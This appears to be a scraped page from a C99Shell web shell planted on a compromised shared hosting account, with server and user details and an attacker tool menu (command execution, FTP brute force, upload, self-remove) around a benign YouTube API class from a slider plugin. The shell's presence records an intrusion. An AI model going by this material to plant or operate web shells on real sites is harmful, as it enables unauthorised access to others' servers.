!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/phbcoop.com/vendor/rs-plugin/php/youtube/   drwxr-xr-x
Free 235.69 GB of 981.82 GB (24.01%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-youtube.php (2.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 

/**
 * Youtube
 *
 * with help of the API this class delivers all kind of Images/Videos from youtube
 *
 * @package    socialstreams
 * @subpackage socialstreams/youtube
 * @author     ThemePunch <info@themepunch.com>
 */

class TP_youtube {

    
/**
     * API key
     *
     * @since    1.0.0
     * @access   private
     * @var      string    $api_key    Youtube API key
     */
    
private $api_key;

    
/**
     * Channel ID
     *
     * @since    1.0.0
     * @access   private
     * @var      string    $channel_id    Youtube Channel ID
     */
    
private $channel_id;

    
/**
     * Initialize the class and set its properties.
     *
     * @since    1.0.0
     * @param      string    $api_key    Youtube API key.
     */
    
public function __construct($api_key,$channel_id) {
        
$this->api_key $api_key;
        
$this->channel_id $channel_id;
    }


    
/**
     * Get Youtube Playlists
     *
     * @since    1.0.0
     */
    
public function get_playlists(){
        
//call the API and decode the response
        
$url "https://www.googleapis.com/youtube/v3/playlists?part=snippet&channelId=".$this->channel_id."&key=".$this->api_key;
        
$rsp json_decode(file_get_contents($url));
        return 
$rsp->items;
    }

    
/**
     * Get Youtube Playlist Items
     *
     * @since    1.0.0
     * @param    string    $playlist_id     Youtube Playlist ID
     * @param    integer    $count     Max videos count
     */
    
public function show_playlist_videos($playlist_id,$count=50){
        
//call the API and decode the response
        
$url "https://www.googleapis.com/youtube/v3/playlistItems?part=snippet&playlistId=".$playlist_id."&maxResults=".$count."&fields=items%2Fsnippet&key=".$this->api_key;
        
$rsp json_decode(file_get_contents($url));
        return 
$rsp->items;
    }

    
/**
     * Get Youtube Channel Items
     *
     * @since    1.0.0
     * @param    integer    $count     Max videos count
     */
    
public function show_channel_videos($count=50){
        
//call the API and decode the response
        
$url "https://www.googleapis.com/youtube/v3/search?part=snippet&channelId=".$this->channel_id."&maxResults=".$count."&key=".$this->api_key."&order=date";
        echo 
$url;
        
$rsp json_decode(file_get_contents($url));
        return 
$rsp->items;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0113 ]--